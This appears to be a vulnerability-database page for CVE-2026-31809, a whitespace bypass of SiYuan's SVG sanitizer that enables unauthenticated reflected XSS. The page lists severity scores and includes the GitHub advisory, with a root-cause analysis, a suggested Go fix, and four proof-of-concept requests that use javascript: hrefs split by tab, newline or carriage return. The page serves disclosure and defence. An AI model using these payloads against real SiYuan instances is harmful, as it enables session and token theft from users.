CVE-2026-31809

mediumPriorität · verfolgen · 24EPSS 0.005 · 44. PerzentilEUUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.52% (44th) EPSS
CVSS 6.1 · medium
Is it mine?
3 products
Prüfe deine Angriffsfläche
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · bewertet 2026-10-27

SiYuan is a personal knowledge management system. Prior to 3.5.10, SiYuan's SVG sanitizer (SanitizeSVG) checks href attributes for the javascript: prefix using strings.HasPrefix(). However, inserting ASCII tab (	), newline (
), or carriage return (
) characters inside the javascript: string bypasses this prefix check. Browsers strip these characters per the WHATWG URL specification before parsing the URL scheme, so the JavaScript still executes. This allows an attacker to inject executable JavaScript into the unauthenticated /api/icon/getDynamicIcon endpoint, creating a reflected XSS. This is a second bypass of the fix for CVE-2026-29183 (fixed in v3.5.9). This vulnerability is fixed in 3.5.10.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

6.4
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen

v3.16.1mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:Nprimary · NVD / NIST USAusnutzbarkeit 2.8 · Auswirkung 2.7
v4.06.4mediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:Nsecondary · ENISA EU
v4.06.4mediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · security-advisories@github.com
v4.05.4mediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (3)

Betroffene Produkte und Versionsbereiche.

05

Advisories (2)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-pmc9-f5qr-2pcrSiYuan has a SVG Sanitizer Bypass via Whitespace in `javascript:` URI — Unauthenticated XSS2026-03-10ghsa · osvUS

    # SVG Sanitizer Bypass via Whitespace in `javascript:` URI — Unauthenticated XSS ## Summary SiYuan's SVG sanitizer (`SanitizeSVG`) checks `href` attributes for the `javascript:` prefix using `strings.HasPrefix()`. However, inserting ASCII tab (`&#9;`), newline (`&#10;`), or carriage return (`&#13;`) characters inside the `javascript:` string bypasses this prefix check. Browsers strip these characters per the WHATWG URL specification before parsing the URL scheme, so the JavaScript still executes. This allows an attacker to inject executable JavaScript into the unauthenticated `/api/icon/getDynamicIcon` endpoint, creating a reflected XSS. This is a second bypass of the fix for CVE-2026-29183 (fixed in v3.5.9), [distinct from the `<animate>` element bypass](https://github.com/siyuan-note/siyuan/security/advisories/GHSA-5hc8-qmg8-pw27). ## Affected Component - **File:** `kernel/util/misc.go` - **Function:** `SanitizeSVG()` (lines 234-319) - **Specific check:** Line 271 — `strings.HasPrefix(val, "javascript:")` - **Endpoint:** `GET /api/icon/getDynamicIcon?type=8&content=...` (unauthenticated) - **Version:** SiYuan <= 3.5.9 ## Root Cause The sanitizer uses Go's `html.Parse` which decodes HTML entities in attribute values. When the input contains `java&#9;script:alert(1)`, the parser decodes `&#9;` to a literal tab character (U+0009). The sanitizer then checks: ```go val := strings.TrimSpace(strings.ToLower(a.Val)) // val is now "java\tscript:alert(1)" if strings.HasPrefix(val, "javascript:") { continue // This check FAILS — tab breaks the prefix match } ``` `strings.TrimSpace` only removes leading/trailing whitespace, not internal whitespace. The `HasPrefix` check fails because `"java\tscript:..."` does not start with `"javascript:"`. However, per the [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing), step 1 of URL parsing removes all ASCII tab and newline characters (U+0009, U+000A, U+000D) from the input. So the browser parses `java\tscript:alert(1)` as `javascript:alert(1)`. ## Proof of Concept ### Vector 1: Tab character (`&#9;`) ``` GET /api/icon/getDynamicIcon?type=8&content=</text><a href="java&#9;script:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue ``` ### Vector 2: Newline character (`&#10;`) ``` GET /api/icon/getDynamicIcon?type=8&content=</text><a href="java&#10;script:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue ``` ### Vector 3: Carriage return (`&#13;`) ``` GET /api/icon/getDynamicIcon?type=8&content=</text><a href="java&#13;script:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue ``` ### Vector 4: Multiple whitespace characters ``` GET /api/icon/getDynamicIcon?type=8&content=</text><a href="j&#9;a&#10;v&#13;a&#9;s&#10;c&#13;r&#9;i&#10;p&#13;t:alert(document.domain)"><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue ``` ### Processing trace 1. **Input:** `<a href="java&#9;script:alert(document.domain)">` 2. **html.Parse:** Decodes entity → attribute value = `java\tscript:alert(document.domain)` 3. **Sanitizer:** `TrimSpace(ToLower(val))` = `java\tscript:alert(document.domain)` (tab preserved in middle) 4. **HasPrefix check:** `"java\tscript:..."` does NOT start with `"javascript:"` → **passes through** 5. **html.Render:** Outputs literal tab character in href (tabs are not HTML-special) 6. **Browser URL parser:** Strips tab per WHATWG URL spec → `javascript:alert(document.domain)` 7. **User clicks link → JavaScript executes** ## Attack Scenario Same as CVE-2026-29183 / advisory #01: 1. Attacker crafts a malicious `getDynamicIcon` URL 2. Victim navigates to the URL (or is redirected) 3. SVG renders with `Content-Type: image/svg+xml` 4. Victim clicks the text link in the SVG 5. JavaScript executes in SiYuan's origin 6. Attacker steals session cookies, API tokens, or makes authenticated API calls ## Impact - **Severity:** CRITICAL (CVSS ~9.1) - **Type:** CWE-79 (Improper Neutralization of Input During Web Page Generation) - Unauthenticated reflected XSS via SVG injection - Executes in the SiYuan application origin - Bypasses the fix for CVE-2026-29183 - Independent of the `<animate>` element bypass (advisory #01) — different root cause ## Suggested Fix Replace the simple `HasPrefix` check with whitespace-stripped comparison: ```go // Strip ASCII tab, newline, CR before checking for javascript: prefix cleaned := strings.Map(func(r rune) rune { if r == '\t' || r == '\n' || r == '\r' { return -1 // Remove character } return r }, val) if key == "href" || key == "xlink:href" || key == "xlinkhref" { if strings.HasPrefix(cleaned, "javascript:") { continue } if strings.HasPrefix(cleaned, "data:") { if strings.Contains(cleaned, "text/html") || strings.Contains(cleaned, "image/svg+xml") || strings.Contains(cleaned, "application/xhtml+xml") { continue } } } ``` This should also be applied to the `data:` URI check, as the same whitespace bypass could potentially affect it.

  • GO-2026-4669SiYuan has a SVG Sanitizer Bypass via Whitespace in `javascript:` URI — Unauthenticated XSS in github.com/siyuan-note/siyuan/kernel2026-03-12vendor · osvUS

    SiYuan has a SVG Sanitizer Bypass via Whitespace in `javascript:` URI — Unauthenticated XSS in github.com/siyuan-note/siyuan/kernel

06

auch bekannt als (5)

Weitere Namen und Kennungen dieser Entität.

07

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-03-10geändert 2026-06-17
08

Referenzen (4)

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan